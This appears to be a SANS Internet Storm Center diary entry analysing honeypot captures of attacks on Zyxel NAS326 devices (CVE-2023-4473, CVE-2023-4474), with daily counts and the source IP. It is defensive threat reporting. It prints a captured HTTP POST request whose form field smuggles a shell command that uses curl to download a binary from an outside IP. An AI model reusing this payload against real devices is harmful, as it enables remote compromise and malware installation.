Another Day, Another NAS: Attacks against Zyxel NAS326 devices CVE-2023-4473, CVE-2023-4474, (Tue, Apr 30th)

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Yesterday, I talked about attacks against a relatively recent D-Link NAS vulnerability. Today, scanning my honeypot logs, I found an odd URL that I didn’t recognize. The vulnerability is a bit older but turns out to be targeting yet another NAS.

The sample request:

POST /cmd,/ck6fup6/portal_main/pkg_init_cmd/register_main/setCookie HTTP/1.0
User-Agent: Baidu
Accept: */*
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Host: [redacted]

pkgname=myZyXELcloud-Agent&cmd=%3bcurl%2089.190.156.248/amanas2&content=1

The exploit is simple: attempt to download and execute the “amanas2” binary and execute it. Sadly, I was not able to retrieve the file. Virustotal does show the URL as malicious for a couple of anti-malware tools [1]

Oddly, I am seeing this pattern only the last couple days, even though the vulnerability and the PoC were disclosed last year [2]:

Date
Count

April 27th
56

April 28th
1530

April 29th
899

April 30th
749

Based on our logs, only one IP address exploits the vulnerability: %%ip: 89.190.156.248%%. The IP started scanning a couple of days earlier for index pages and “jeecgFormDemoController.do, likely attempting to exploit a deserialization vulnerability in jeecgFormDemoController 

[1] https://www.virustotal.com/gui/url/ed0f3f39dce2cecca3cdc9e15099f0aa6cad3ea18f879beafe972ecd062a8229?nocache=1
[2] https://bugprove.com/knowledge-hub/cve-2023-4473-and-cve-2023-4474-authentication-bypass-and-multiple-blind-os-command-injection-vulnerabilities-in-zyxel-s-nas-326-devices/

 


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
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